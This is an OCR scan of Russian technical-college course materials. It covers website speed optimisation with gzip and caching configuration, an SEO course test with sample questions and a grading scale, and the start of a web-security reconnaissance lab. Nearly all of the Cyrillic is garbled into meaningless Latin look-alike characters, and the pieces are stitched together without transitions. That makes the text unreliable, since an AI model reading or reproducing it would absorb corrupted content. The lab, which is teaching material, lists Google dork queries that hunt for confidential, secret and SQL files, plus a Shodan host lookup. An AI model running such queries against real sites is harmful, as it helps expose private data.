Y4aCTHUKAM KOTOPBIX «JIOCTanachy 3aJiepKKa B OJIHY, IBE€ U TPU CEKyHIbl. [ yOuny
IPOCMOTpa B TEUYEHHE CECCUM B3sUIM 3a KOA(POUIMEHT KOHBEPCHM (paccMaTpUBaiu


https://yandex.ru/support/webmaster/controlling-robot/robots-txt.xml
https://www.sitemaps.org/
http://www.nytimes.com/2012/03/01/technology/impatient-web-users-flee-slow-loading-sites.html?pagewanted=all
http://engineroom.ft.com/2016/04/04/a-faster-ft-com/
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CKOpOCTh 3arpy3KH MOKHO U3MEPHUTH C TOMOIIIBIO ITHX CEPBHUCOB:

[TpoBepka ckopoctu caiita PR-CY,

GTmetrix,

PageSpeed.

Kak yBenuuuTh CKOPOCTh 3arpy3KH caiita

1. YMmeHbmmuTe 00heM 3arpyaeMbIX CTpaHUI]

Wcnonp3yiiTe ckatue gzip, 3TO COKpPATUT Bpems Tmepenadu QaityioB Opaysepy.
O0bEM mepeaBaeMbIX JAHHBIX YMEHBIIUTCS B 4-5 pa3, a CKOPOCTh 3arpy3Ku —
YBEJIUYUTCS.

Nginx

Jlns BriroueHus: cxatus gzip B NQINX, u3MeHUTe KOH(HTypalHio cepBepa U
100aBbTE 3TU CTPOKHU:

server {

gzip on;

gzip_disable «msie6y;

gzip_types text/plain text/css application/json application/x-javascript text/xml

pplication/xml application/xml+rss text/javascript application/javascript;

¥

Apache

CHavania yoeaurTech, uTo moakiaroueH moaysib mod_deflate. [Tocne atoro HyxHO
nobasbTe B daiin .htaccess cienyromme CTpoKu:

AddOutputFilterByType DEFLATE text/plain

AddOutputFilterByType DEFLATE text/html

AddOutputFilterByType DEFLATE text/xml

AddOutputFilterByType DEFLATE text/css

AddOutputFilterByType DEFLATE application/xml

AddOutputFilterByType DEFLATE application/xhtml+xml

AddOutputFilterByType DEFLATE application/rss+xml

AddOutputFilterByType DEFLATE application/javascript

AddOutputFilterByType DEFLATE application/x-javascript

YpoBeHb cxkaTus

Gzip momumepxxkuBaeT ypoBeHb cxartmss or 1 go 9. B Nginx ero moxHO


http://pr-cy.ru/speed_test/
https://gtmetrix.com/
https://developers.google.com/speed/pagespeed/insights/
http://httpd.apache.org/docs/2.2/mod/mod_deflate.html

pEryJiIupoBaTh TaKUM 00pazoM:

gzip_comp_level 5;

OnTuMasnbHbIl YPOBEHB CHKATHS — O.

2. YMeHbIIUTe 00BEM rpapuku

Y nanute HeHYyKHbIe n300paxeHus. Tam, r/ie 3T0 BO3MOXHO, UCIIONIb3yHTE TEKCT
BMECTO 3aBeOMO Oosiee TsHKENOoM rpaduki.

®opmat JPG myume Bcero moaxoaut s ¢potorpaduit. PNG npenmoururensHuee
JUISL OCTAJIBHBIX 3JIEMEHTOB CaiiTa — MKOHOK, WUIFOCTPALUNA U Mp., IPU YCIOBUHU, YTO
M300paXeHHs] TPABUIIBHO CXKATbl. Y YUTHIBAWTE, YTO CalWT OyJeT MpocMaTpUBaThCS Ha
pa3HbBIX YCTPOMCTBAaX U B pa3HbIX Opay3epax.

BbI MOXeTe UCIoNb30BaTh OJHO MaciiTabupyemMoe U300pakeHue, HoO OHO OyJeT
3aHMMaTh MHOI'O MECTa M TOPMO3HThb 3arpy3Ky CTpaHulbl. Jlydme wncrnonb30BaTh
HECKOJIbKO M300pa)K€HUH, aJalTUPOBAHHBIX IOJ] pa3HbIE YCTPOUCTBa, YTOOBI Opay3ep
3arpy3ujl Hy’>KHO€ — 3TO MOKHO cJieaTh Ipu oMoy miaruHa Imager. OH 3ameHsieT
IJIeHCXO0Aephl MPO3pauHbIMU U300paKEHUSMHU, OATATUBAET K KaXXA0OMy aTpuOyT SIC U
Ha3Ha4aeT HYXHBIA pa3Mep, IOCJIE Yero BaM OCTAETCS TOJIBKO 3arpy3uTh HECKOJBKO
BapUaHTOB N300paKEHUsI pa3HbIX Pa3MEpOB.

Kak 310 paboraer:

<div style="width: 240px">

<div class="delayed-image-load” data-src="http://placehold.it/{width}" data-
alt="alternative text"> </div>

</div>

<script>
new Imager({ availableWidths: [200, 260, 320, 600] });
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4. BxirounTe KITUPOBAHUE TAHHBIX

Hacrpoiite cepBep Tak, 4ToObI Opay3ep MOIb30BaTENs KIIIUPOBAI JIaHHBIE — B
9TOM cllydyae TMpH TEPBOM TIOCCIICHUH CalTa HEKOTOpPhIE DJIEMEHTHI CTPaHUIL
(m300paxenusi, CSS- u JS-aitnibl) coxpaHarcs aBToMatuyecku. B ciemyromuii pa3
Opay3ep He IOTPATUT BPEMS Ha UX 3arpy3Ky.

OpHako Takoi Cmoco0 TOMOTaeT YBEIMYUTH CKOPOCTh 3arpy3Kd TOJIBKO TIpHU
MOBTOPHBIX MMOCEIIEHUSAX caiTa.


http://www.punypng.com/
https://tinypng.com/

Kak BKIIOUHTH K31IUpOBaHUE?

Wcnonp3yiite Mmomynb headers BeG-cepBepa Apache, KOTOpPBIi KOHTPOIUPYET U
n3menset 3arojoBku HT TP-3anpocoB u HT TP-otBeToB. bpay3sep 3arpyxaer ¢ cepsepa
B JIOKaJbHBIA KOII JTAHHBIC, KOTOPHIE PEIKO H3MEHSIOTCS, U MPHU TMOCEIICHUH caiTa
3arpy’aeT ux yke u3 koma. Takke MOXXHO KIIIMPOBaTh (Paiiiibl onpeaenéHHBIX TUIIOB
Ha 3aJJaHHOE BpeMsl, [0 HCTEYEHUH KOTOPOTO OHU OYYyT 3arpyKeHbI C cepBepa 3aHOBO.

OTO MOYKHO C/ENIaTh TaK:

<FilesMatch «.(gif|jpeg|png|swf]|js|css|pdflico)$»>

Header set Cache-Control «max-age=1234000» </FilesMatch>

Vkaxkurte HyXHbIe pacimpenus (ainoB B koHcTpykuuu FilesMatch, roe nns aux
ycraHaBimuBaercsi 3arojoBok Cache-Control u mepemennas max-age, ¢ TOMOIIBIO
KOTOpOM yKa3bIBaeTCsl BpeMsi XpaHeHHs (ailjioB B cekyHaax. Te ¢aiibl, KOTopble He
HY>KHO K3ILIUPOBATh, IPOCTO HE BKJIIOYANTE B CIIHCOK.

Taxxke MOXKHO 3allpeTUTh KauIMpoBaHue (aitsioB. /J[o0aBbTe NpUBENEHHBIN HUXKE
kox B .htachess, mpeaBapuTenbHO yKa3aB, KaKue THITHI (hailyIoB KIIIMPOBATh HE HYXKHO:

<FilesMatch «.(pl|php|cgi|fcgi|scgi)$»>

Header unset Cache-Control

</FilesMatch>Bb1 Taxke MOXETe€ yNPaBIATh KIIIMPOBAHHEM C ITOMOIIBIO
MoyIs eXpires. OH KOHTpoaupyeT ycTaHoBKY HT TP-3arooBKoB sl K3MIMPOBAHUS CO
CTOPOHBI Opay3epa. YKaKuTe NMepuoj XpaHEHHs JaHHBIX B 3aBUCHMOCTH OT BPEMEHH,
OT MOCJIEAHETO U3MEHEHHUSI (Paiisia MM OT BpEMEHH JIOCTYIa KIHEHTA.

Hanpumep, Tax:

<IfModule mod_expires.c>

ExpiresActive On ExpiresDefault «access plus 2 monthy

ExpiresByType image/png «access plus 4 months»

ExpiresByType image/swf «access plus 4 months»

</IfModule>

Nnu tax:

ExpiresByType text/html «access plus 2 month 14 days 7 hours»
ExpiresByType image/gif «modification plus 8 hours 3 minutes»

5. Cokparute pa3zmep kona CSS u JavaScript

CrieruanbHble cepBUCHI i yrpomieHus JavaScript u CSS ynansror u3 xozaa
«JTMUIHUE» CUMBOJIBI (TIPOOENbl, KOMMEHTAPUH) U COKPAILAIOT BpeMsl €ro 3arpy3ku. s
YBEIUYCHHUSI CKOPOCTU OHU MOTYT ObITh 3()(EeKTUBHEE, YeM CTaHIAPTHOE CKatue gzZip.
Google pexomenmyer CSS-daiinbl HEOONBIIOro0 pa3Mepa BCTABIATh HEITOCPEACTBSHHO B
nokyment HTML.

Bb1 MOXeTe BOCIIOJIb30BaThCs ATUMH CEPBUCAMMU:

CSS Dirive,

CSS Compressor.

Pazmemaiite CSS-daitsibl B Havasie cTpaHuIlsl, a JS-aitibl — B KOHIIE.

Ecmn CSS-daitnbl pacnonokeHbl B Xeiepe, PEeHACPUHT CTPAHUIIBI MTPOUCXOIUT
MOCTENEHHO, YTO (POPMUPYET MOJIOKUTETHHOE BIIeUaTIeHue OT caita. Pazmenienue JS-
(aiiioB BHU3Y CTpaHUIIBI TO3BOJIAET Opay3epy CHayaia 3arpy3uTh KOHTEHT CTPAHMUIIBI,
a y’e IMOTOM pa300paThCsi CO CKPUMITAMH.


http://www.cssdrive.com/index.php/main/csscompressor/
http://csscompressor.com/
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Paznen 2. Onrumnsanus BeO-NPUI0KEHUH

IIpoBepsiemble pe3yIbTAThI 10 3-4 vy 1-3,31-3
00y4eHuUs:
Kpurepuu ouenku

Ouenka Kpurepun

2 (He 3a4TEHO): CTYACHT PeIlnI BEpHO MeHee 67% 3agaHuil TecT.

(YIOBIIETBOPUTENHLHO): BHIMOJHEHO BepHO OT 67 10 80% 3amanuii Tecra.

3
4 (xoporo): BemosHeHsl BepHo oT 80 10 90% 3amanuii Tecra.
5 (oTnMYHO): BHIMTOTHEHBI BepHO Oostee 91% 3amaHuii Tecra.
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Kinouesa E.A. MPETO/IaBaTeb JUCIUATUINH
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poheCCHOHAIBHOTO ITUKIIA
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[TacmopT  KOHTPOJIbBHO-U3MEPUTEIbHBIX  MaTEepUaloB Il  IPOBEACHUSA
npoMexyTouHoi arrectanuu no Kkypcy M/IK. 09.02 Ontumuzaiius BeO-mpHiI0KeHUH.

O6nacTh IpUMEHEHUS

KOHTpOIbHO-U3MEpPUTENIbHBIE MaTepHaibl [JI MPOBEIACHUS MPOMEKYTOUHOU
arrectanm 1o kypcy MJIK. 09.02 Onrtumuzarus BeO-IPHIOKCHHH IPeAHA3HAYCHBI
JUISl TIPOBEPKHU PE3YyJbTaTOB OCBOCHMSI YMEHHMIM U YCBOEHUS 3HAHUN B COOTBETCTBUU C
nporpammoit mpodeccrnonanbHoro moxayns [IM.09. IlpoexktupoBanue, pa3paboTka u
ONTUMH3ALMS BEO-ITPUIIOKEHUH.

DK3aMeH MPOXOAUT B OpME TECTUPOBAHUSI.

OcHOBBIHE TEMBbI BOIIPOCOB K 3a4€Ty

Knaccuduxkarus caidiToB

Omnpenenenue 1enent A MPOABUKECHHS caidTa

[leneBas aynutopus caita

CooTBeTCTBHE CalTa OKUJAHUSIM LEJIEBOM ayTUTOPUH

O0630p METOZOB U TEXHOJIOTUH MTPOIBUKEHUS CATOB

SEO — nouckoBasi ONTUMH3AIUS

Peknama B nTepuet - SEA (pekiama B IOMCKOBBIX MallIMHAX: KOHTEKCTHAS U

KOHTEKCTHO-ME/IMHAsA), MeIniiHas pekiaMa (Ha IJIoIaaKax)

8. MapKeTHHT B COLMANbHBIX CETAX

9. Jpyrue crnocoObl MPOJBUKEHHUS UHTEPHET IIPOEKTOB

10.OcHoBHBIE 3Tallbl IPOJIBUKEHUS caiiTa

11.0t1pava oT pa3inMyYHbIX CIIOCOOOB MPOABUKEHUS

12 .TIpunnmIel paboTHI MOMCKOBBIX MalMH Ha puMepe Sunexc u Google

13.Unnekcarus caiToB

14.Tlouck 1 o1ieHKa peeBaHTHOCTH

15.HcTopust anropuTMOB OMCKOBBIX MAILIMH

16.OnTumu3anms B 310Xy MaTpuKCHET - oBeeHYeCKre (DaKTOPhI M MAITUHHOE
oOyueHue

17.B3anmoieicTBHE MOMCKOBBIX MAIIMH U CalTOB - TpoTokos HTTP

18.I1puniun B3aumoaericTeus B UnTepHeT

19.Craryc u 3arojloBKM OTBETa cepBepa

20.ITepeanpecarus 1 OMIMOKK cepBepa

21.@aiin .htaccess

22. Tepmunonorust SEO

23.Buzpl 3anpocoB nojb30BaTenen

24 TIporHo3upoBaHue KOJIUYECTBa 3arpocoB. CeMaHTHUECKOE SIIPO cailTa

25.JlabopaTopHas paboTa: COCTaBIEHUE CEMAHTUYECKOTO spa

26.SEO-rekcTbl. UHCTpYMEHTHI AJid OlleHKH U Hanucanusi SEO-TekcToB.

27.0nTumMalbHas CTPYKTypa U pa3MeTKa CTPaHHULIbI

28.YrpapieHue UHIECKcalluen cailta

29.Kak yCKOpUTD MOSIBJICHUE CTPAHUIL B MHEKCE TOMCKOBBIX MalIMH

30.Daiin robots.txt — HacTpolika 3apeToB Ha HHACKCAIIUIO CTPAHHMII

31.Kapra caitra XML Sitemap

32.Nuctpymentsl ains Web-mactepoB - muarnoctuka caiita

33.Sunexc Web-mactep — HacTpoiika 1 KOHTPOJIb TAPAMETPOB UHICKCAITUH

34.Google Web-macrep — nonomautensHbie BosamoxHoctu Google

NoakrowdE



35.lononHuTenbHbIE THCTPYMEHTH SEO-onTrMu3aTopa

36.Tynbapbl MOMCKOBBIX MAIlIUH

37.SEO mnaruns! — pacmpeHust CTaHAAPTHBIX BO3MOXKHOCTEH Opay3epoB
38.0n-line uactpymenTs! ast SEO ananmmsza

[TPUMEPHBLIE BOITPOCBI TECTA

1. Ilepeurcnute OCHOBHBIE (PAKTOPHI, BIUSAIOLINE HA MO3UIUK CaiiTa B MOMCKOBOIA
BBIJaue
— aKTyaJbHOCTh HHPOPMAIIH
— aBTOPHUTET
— JI0OCTOBEPHOCTH HUH(OpMAIIH
— PpEJEeBaHTHOCTb
— MOMYJISIPHOCTH OpeHJia

2. UTo Takoe pereBaHTHOCTH B IIOMCKOBOM cucTeme?
— CTEINEeHb COOTBETCTBUS MH(POPMAIIMKU KPUTEPUIM MTOMCKA
— 3TO CKOJBKO pa3 B MeECSI] MCKalW 33JaHHBIA CalT 4Yepe3 NOUCKOBBIC
CUCTEMBI
— 3TO NPOLEHTHOE COOTHOILIEHWE NPSIMBIX M pedeparbHbIX NEPEXOJ0B Ha
3a/IaHHbIN CalT

3. UTo U3 HMKEMEPEUMCICHHOTO MOXHO OMpPENeNUTh KaK "CTENeHb COOTBETCTBUS
uH(bOpMAaITUU KpUTEpUsIM Toucka'?
— PpEeNeBaHTHOCTh
— PEUTHHT NEPEXO0JI0B
— YacToTa MOUCKa
4. akue OCOOCHHOCTH TTOMCKOBOW ONTHMH3AIlMM BBIACISIOT €€ Cpeau NpOodYuX
MapKETUHTOBBIX XOJI0B?
(OTBeT cumTaeTcs BEPHBIM, €CIM OTMEYEHBI BCE TMPABWIBHBIE BAapUAHTHI
OTBETOB.)
— JIOCTYM K MOJIpoOHOM MH(GOpMAIIK O TTIOBEJCHUH TOJIb30BaTeNIeh
— HeOobIIMe GUHAHCOBBIC 3aTPATHI
— BO3MOXXHOCTh TOYHOW OIICHKH PE3YJIbTaTOB
— KpaTKOCPOYHBIN PE3yJIbTAT

5. [lo kakuM KpUTEpHUSM OIIEHUBAIOTCSA KIIIOYEBbIE (pa3bl B aAHAIMUTUUYECKHUX

MHCTPYMEHTAaX (TaKuX KakK, Hampumep, MIHCTpYMEHT MOJICKa3KH KITIOYEBBIX CIIOB
B Google AdWords)?

(OTBeT cumTaeTcs BEPHBIM, €CIM OTMEYEHbl BCE TMPABUIbHBIE BAPUAHTHI
OTBETOB.)

— KOJIMYECTBO CUMBOJIOB

— CTOHUMOCTbD B IUIATHOM IIOHUCKE
— PEJEBaHTHOCTH

— 4acToTa NoucCKa



— KOHKYpEHILUSA

6. IlpeacraBbTe cels BiIaeNblieM HOBOTO Mara3MHa akCecCyapoB JAJisi MOOMIIBHBIX
YCTPOUCTB. 3a KaKylo KIF04YEeBYIO (pa3y Bl ObI CTAIA OOPOTHCS?
(OTmeTpTe OJIMH MpaBUJIBHBIN BAPHAHT OTBETA.)
— iphone 5

PO30BBIE YeXJIbl 181 iphone 5
9yexJiel 171t iphone 5

7. Uto 3Ha4mT "yacTtoTa 3ampoca" ¢ Touku 3peHust SEQ?

3TO CKOJBKO pa3 B MECSI] HMCKalIM 3aJaHHYyI0 KiIIoueBylo (pasy B
IIOUCKOBOM CHCTEME

9TO CKOJBKO pa3 B MeCSAIl WCKaIM 3aJaHHBI CalT 4epe3 IMOUCKOBBIC
CHUCTEMBI
9TO MPOIICHT COIePKaHus 3ampoca (ClIoBa) Ha pacCMaTPUBAEMOW CTPAHUIIC

ATO MPOLIEHTHOE COOTHOIIEHUE MPSMBIX U pedepanbHBIX MEPEeX0J0B Ha
3aJlaHHBIN CalT

8. Hepe‘-II/ICJII/ITC OCHOBHBIC ITpaBHUJIa OIITUMHU3AIINH KOHTCHTA.
(OTBGT CUHUTACTCA BCPHBIM, CCIIM OTMCUCHBI BCC IIPABHUJIBHBIC BapHUAHTLI

OTBETOB.)

CTaTh JOBEPEHHBIM HCTOUHUKOM MH(POpMAIIH

MMCaTh KOPOTKO U SCHO

CO3JaBaTh IIPUBJIEKATEIbHBIN U KAUECTBEHHBIM KOHTECHT
nucaTh Kak MOKHO 0oJiee oApoOHYI0 HH(POPMALIKIO
nMcaTh B He(popMaIbHOM CTUJIE

9. TlepeuncnuTe OCHOBHBIE TIPAaBUIIa POCKTUPOBAHUS CTPYKTYPHI CaliTa.
(OTBeT cumTaeTcs BEPHBIM, €CIM OTMEYEHbl BCE TMPABUIIBHBIE BAPUAHTHI

OTBETOB.)

n30eraTh TYIUKOBBIX CTPAHMI]
n30erarh HUKJINYHOCTHA
co37aTh TIOHSTHYIO VIS JIFOJACH CTPYKTYpPY

10.Kakwue cymiecTByOT ciocoObl ONMUCaHus HETEKCTOBOM nHpopmammn?
(OTBeT cumTaeTcs BEPHBIM, €CIM OTMEYEHbl BCE TMPABUIIBHBIE BAPUAHTHI

OTBETOB.)

ONTHUMM3ALHUS KOJa
TEKCTOBOE ONMKMCAHUE OKOJIO HETEKCTOBOI'O 3JIEMEHTA
BCTPOCHHBIE CYOTUTPHI (B BUJIEO)

11.Kak norcKoBbIe CUCTEMbI MOTYT paclo3HaBaTh U300paKeHUs?
(OTBeT cumTaeTcs BEPHBIM, €CIM OTMEYEHbl BCE MPABUIbHBIE BAPUAHTHI

OTBETOB.)

— TIpU MOMOIIH aJTOPUTMA PACTIO3HABAHUS U300 PaKEHHIA
— TI0 TEeKCTOBOMY OIMCAHHIO BOKPYT U300PaKCHHUSI

0 OTKCAaHMIO B Tere <img alt />

12. J1ns wero ny>xna XML kapra caiita?
(OTMeTbhTe OJIMH NPAaBUIIBLHBIA BapUAHT OTBETA. )
— U1 IPEIOCTABIICHUS MTOJIb30BATENSAM CTPYKTYPBI caidTa
— I IPEIOCTABIIEHUS IOMCKOBBIM CUCTEMAM CTPYKTYpBI caiiTa



— s ynoOCcTBa pH pa3padoTKe cailTa

HaubGonee mnoaxoasmuM crmocoOOM OIIGHKH pPe3yJbTaTOB TMPEICTAaBISICTCS
petimunzosblii. nooxod. PedTuHroBas (MPOIEHTHAs) IIKajda MOXET IEepPEBOJIUTHCS B
MOPSIIKOBYIO, CIEAYIOIIMM 00pa3oM:

—IOJly4YEeHUE CTYIAEHTOM pe3yiapTaTa MeHee 67% COOTBETCTBYET OLEHKE
«HEYJOBJIETBOPUTEIBHOY;

—oT 67%, Ho He 6oiiee 80% - «yIOBIECTBOPUTEIHLHO;
— ot 80%, HO He O6osee 90% - «xopoiioy;
—90-100% - «OTAMIHOY.

BpiuncineHne peMTUHIOBOM OIIEHKM CIIEAYET BBIIOJIHATH 10  CICAYIOIIUM
aJIrOpUTMaM:

— €CJIM MCITOJIb3YIOTCSI BOIIPOCHI C BEIOOPOM OTBETA, TO PACUET BBINOIHIETCS I10
dopmyne kK = p/a*100, rae k — k03¢-T ycBOoeHUs B % C TOYHOCTBIO 710 2-X
3HAKOB TIOCJIC 3aIATO, P — KOJMYECTBO IMPABHIBHBIX BBIOOPOB (T.€ CTYACHT
BBIOpA MpaBHJIbHBIC OTBETHI M OTBEPI HEBEPHBIC), & — OOIIEe KOJIMYECTBO
BBIOOPOB B BOIIPOCAX TECTa,;

— €CJIM MCTOJIBb3YIOTCSI BOIPOCHI HA YCTAaHOBJICHUE MOPSAIKA UM Ha BBOJ OTBETA B
OKHE (OpMBI, TO UCHOJB3YyeTCA Ta ke (PopMysia, HO KOJUYECTBO MPaBUIbHBIX
BBIOOpPOB cTaBUTCS paBHbIM O MpU J0O00M HECOBMAJEHUU C KIIFOUOM OTBETA U
PaBHBIM KOJIMYECTBY BBIOOPOB IMpH MPABUIBLHOM OTBETE (IIPU YCTAHOBJICHHUU
MOpsiIKA OHO PABHO KOJIMYECTBY OINMCAHHBIX JIEUCTBUM, PaHXXUPYEMBIX IO
MIOPSIZIKY, & TP BBOJIC OTBETA B OKHE (PopMBbI — 1).

IlepeBoa peiTHHIOBOM HIKAJbI B IIOPAAKOBYIO
LIKAJIy OLEHOK

a - KOJUYeCTBO

BepHbIX k- k03¢. PeliTtunr OLlEHKA

0TBETOB
60 1,00 100,00% OTIMYHO
59 0,98 98,33% OTJIMYHO
58 0,97 96,67% OTJIMYHO
57 0,95 95,00% OTJINYHO
56 0,93 93,33% OTJIMYHO
55 0,92 91,67% OTJIMYHO
54 0,90 90,00% OTJINYHO
53 0,88 88,33% XOPOIIO
52 0,87 86,67% XOPOILIIO




51 0,85 85,00% XOPOILIIO
50 0,83 83,33% XOPOILIIO
49 0,82 81,67% XOPOIIO
48 0,80 80,00% XOPOILIO
47 0,78 78,33% YIOBIIETBOPHUTEILHO
46 0,77 76,67% YIOBIIETBOPUTEIHLHO
45 0,75 75,00% YIOBIIETBOPHUTEILHO
44 0,73 73,33% YAOBIIETBOPUTEIHLHO
43 0,72 71,67% YAOBIIETBOPUTEIHLHO
42 0,70 70,00% Y/IOBJIETBOPHUTEIHHO
41 0,68 68,33% YIOBJICTBOPHUTEIHHO
40 0,67 66,67% YIOBJICTBOPHUTEIHHO
39 0,65 65,00% HEYI.

38 0,63 63,33% HEeyI.

37 0,62 61,67% HEYI.

36 0,60 60,00% HEYI.

35 0,58 58,33% HEY/I.

34 0,57 56,67% HEY/I.
33 0,55 55,00% HEY/I.

32 0,53 53,33% HEey/I.

31 0,52 51,67% HEY/I.
30 0,50 50,00% HEey/I.




TocynapcTBenHoe npogeccnoHaIbHOE 00pa30BaTeIbHOE YUPeKIeHne

/:_ i P «CBIKTBIBKAPCKHUH JIECONPOMBIIIIJICHHBIH TEXHUKYM»
- ~
CON .
= «CBIKTBIBKapca BOP MPOMBIIIEHHOCHT TEXHUKYM»

yIKCUKAcO BelOaH KaHMY YUpeKICHHE

KoHTpPOJIbHO-0LIEHOYHOE CPeICTBO

Tun KOHTPOJILHOTO 3aJAHNS: JlabopaTopHbie pabOThI

Pa3nen 3. Oobecnieyenne 0e30MaCHOCTH BeO-NIPUIIOKEHUI

IIpoBepsiemble pe3yibTaThl o 3-4 v 1-3,31-3
00y4eHuUs:

Kpurepun onenkn

Onenka Kpurepun

2 (He 3auTeHO): CTYIEHT HE BHITIOJIHIII WJIN BBITOJIHWI HEMIPABUIBHO 3aJJaHUsI IPaKTHUECKOM

(;mabopatopHoit) pabOTHI; CTYIEHT OTBETHII HA KOHTPOJIBHBIE BOIIPOCH C OIMTUOKAMH WIIH HE
OTBETHUJI HA KOHTPOJIbHBIC BOIIPOCHI.

3 (YIOBIETBOPUTEIHHO): BHIITOTHEHBI BCE 3a/IaHKS MTPAKTUUECKON (J1abopaTopHOii) paboThl ¢
3aMEYaHUsIMHU; CTYJICHT OTBETHJI Ha BCE KOHTPOJIbHBIE BOIPOCHI C 3aMEYaHUSIMU.

4 (XOpoI110): BHITIOJIHEHBI BCE 3a/IaHUsl TPAKTHIECKOH (J1aOOpaTOpHOIi) paboThI; CTYJCHT OTBETHII Ha
BCE KOHTPOJIbHBIE BOIPOCHI C 3aMEYaHHSIMH.

5 (OTMYHO): BBHITTOJHEHBI BCE 3aJJaHHS MTPAKTHUYECKON (J1TabopaTOpHOM) pabOTHI, CTYIEHT YETKO 1 0e3
omKOOK OTBETHII HA BCE KOHTPOJILHBIE BOTPOCHI.

CocraBuTelib:
Kinouesa E.A. MPENnoaaBaTeNb JUCLUILUINH
obmenpodecCHoHaNBHOTO U
poheCCHOHAIBHOTO ITUKIIA

ChIKTBIBKap

2021



1. JlabopatopHnas padora «Coop nungopmanuu 0 web-npunoxeHnm»

[ens paboThl: 1Eenbl0 Ta0OpaTOpHOM pabOThI ABISIETCS OOydyeHHE METOJaM U
cpeacTBam cobopa nHbopMauK 00 aHAJTU3UPYEMOM BeO-TIPUIIOKCHHH.

Kpatkue TeopeTruueckue cBeACHUs

OaHuM U3 TMEpBBIX JTANOB aHAIM3a 3alIUIICHHOCTH JI000N KOMIIbIOTEPHOU
CUCTEMBI sIBJIsIETCSt cOOp mHpopMaIuu. B 3aBUCUMOCTH OT KUCIIOJIB3yEMOM METOI0JIOTHH
aHaIM3a 3aIUIIEHHOCTH BEONMPUIIOKEHUS MOTYT HMPUMEHSTHCS Pa3IUYHBIC METOMIBI U
cpenctBa cbopa undpopmanuu. CTOUT OTMETHTD, 4TO cOOp MH(OpMALINU, KaK MPABUIIO,
HE XapakTepeH Ui METOJIOJIOTUH WHCTPYMEHTAJIBHOTO aHajdu3a 3allUIIeHHOCTU
(ckaHMpoBaHUs), a XapakTEpeH AN METOJOJIOTUU TECTUPOBAHHS Ha BO3MOKHOCTD
MIPOHUKHOBEHHUSI.

Metonbl cOopa mHGOpPMANMK ACIATCS HAa aKTUBHBIC W MACCHBHBIC. AKTHBHBIC
METO/Ibl TPEOYIOT HEMOCPEACTBEHHOTO B3aUMOICUCTBHS C UCCIIENYEMBIM ITPUIIOKECHUEM
MyTeM OTIPaBKH €My 3allpOCOB M aHaJM3a COOTBETCTBYIOIIUX OTBETOB, a MACCHUBHBIC
METO/Ibl MCHOJB3YIOT UH(OpPMAIUIO, OTIPABISEMYI0 CEPBEPOM BEO-TPUIIOKEHUS €TI0
kiaueHtam (Hanpumep, HT TP-3aronosku X-Frame-Options, Strict-Transport- Security u
T.1.) 0Oe3 otrnpaBku 3amnpocoB. I[lpu aHanmze BeONPUIOKEHUH, KaK MpaBUIIoO,
UCIIOJIB3YIOTCSl TOJIBKO aKTHUBHBIE METOJbl. AKTHBHBIE METObI JEJSATCS Ha METOJbI C
MOAKIIIOUCHUEM K MPWIOKEHUIO (Hanpumep, uaeHTudukaius sed-ceppepa ¢ MoOMOIIbIO
ckanepa Httprint) m metoasl Oe3 monakiIoueHUs (Hampumep, cOop HHpOpMalHH O
MIPUIIOKEHUHU TTIOMCKOBBIMHU poOOTaMu, ckaHepamu MIHTepHET, U T.11.).

B pe3ynbrate mpoBeneHusi coopa nHPopMaIMu O BEO-NPUIIOKEHUNU MOTYT OBIThH
MOJTyYEHBI:

— uMeHa U IP-agpeca ceTeBbIX Y3J0B, Ha KOTOpPBIX pa3MeUIEHbl BeO-
MPWIOKEHUE U €T0 KOMIIOHEHTHI;

— JIOTHHBI U MAPOJIA TEXHOJOTUYECKUX YUETHBIX 3aIUCeH;

— KOMMEHTapUU pa3paboTUNKOB;

— JaHHBIE O cUCTeMHOM u mpukiaagHoMm [1O, npuMeHseMbIX CpeacTBax
3aIUTHl U KOHPUTYpAITUU BEO-TIPUITOKECHHUS,;

— ajpeca dICKTPOHHON MOUYTHI pa3paOOTIUKOB MPUITIOKECHHUS,

— HCXOIHBIN KOJ CEPBEPHOU YaCTH BEO-TIPUIIOKEHHUS;

— KOH(UCHIIMATbHBIC (PalIbI.

[IporpaMMHBIMH CpeICTBAMH ITOTYUYCHUS HEOOXOAMMON HH(DOPMAIIUN SBIISTFOTCSI:

— MoucKoBbIe cucTeMbl (Harpumep, Google, Shodan, Bing);

— CIeIUaTu3upOBaHHBIC CKaHEphl ys3BUMOCTel WMHTepHeT (Hampumep,
http://un1cOrn.net/);

— UWHCTPYMEHTAJIbHBIE CpPENICTBA aHAlM3a 3alIUIICHHOCTH CeTel o00IIero
HaszHadenus (Nmap, Xprobe2, XSpider);

— HMHCTpYMEHTaJbHbIE CpEICTBAa aHalIM3a 3allUIIEHHOCTH ceTel BeO-
npuioxxenud (AppScan, Acunetix, Burp Suite, ZAP, W3AF u 1.1.).


http://un1c0rn.net/

IlocTaHoBKa 3anaun

Bemonuute  cObop uHpOpMamMM 00  aHATM3UPYEMOM  BEOMPUIIOKEHHUH
www.test.app.com.

[locnenoBaTenbHOCTD AEUCTBUI

bynem paccmatpuBath cO6op uHGOpMAMM Ha NpUMEpe BEONPUIOKEHUS C
YCIIOBHBIM UMEHEM WWW.Test.app.com.

[IIar 1. B aapecHoit cTpoke Opaysepa mepedTu mo azapecy Www. test. app.
com/robots . txt. [Ipoananu3upoBath coaepxkumoe daiina. Cuenarb BHIBOJIbI O HATHYUH
«CKPBITBIX» JTUPEKTOPHIL.

[Ilar 2. B axapecHoit  cTpoke Opayszepa mepedTH 1o  aapecy
http://www.test.app.com/crossdomain.xml u, 3aTeM, 1(0) azpecy
http://www.test.app.com/clientaccesspolicy.xml.  IIpoanamu3upoBaTh  COAEPKHMOE
¢aiinoB. Crnenatb BBIBOABI O KOPPEKTHOCTH KOHPUTYPALUU MOIUTUKA MEXKIOMEHHOTO
B3aumoeiicTeus RIA [3].

[lar 3. Ilepedith mo anpecy http://www.google.com. 3amath MOUCKOBBIC
3aMpoCkl, ONpeIeIsieMble aHATU3UPYEMBIM IPHIIOKEHUEM, HAIPUMED:

— site:www.test.app.com filetype:docx confidential
— site:www.test.app.com filetype:doc secret

— site:www.test.app.com inurl:admin

— site:www.test.app.com filetype:sql

— site:www.test.app.com intext: "Access denied"

[IpoaHanu3npoBaTh JOTUKY 3alIPOCOB M MOJyYEHHbIE JaHHbIE. [locTpouTh cBOM
3aMpoCkl, UCIONB3Ys MPUMEPHI U3 0a3bl 3apocoB [4].

lar 4. ITlepeiitn mo aapecy http://www.shodanhg.com. 3anmate cremyromuii
TIOMCKOBBIN 3aIpoC:

hostname:www.test.app.com

[TocTpouTh cBOM 3ampochkl JJisi TpUIOKeHuss WWWw. test. app . com. Illar 5.
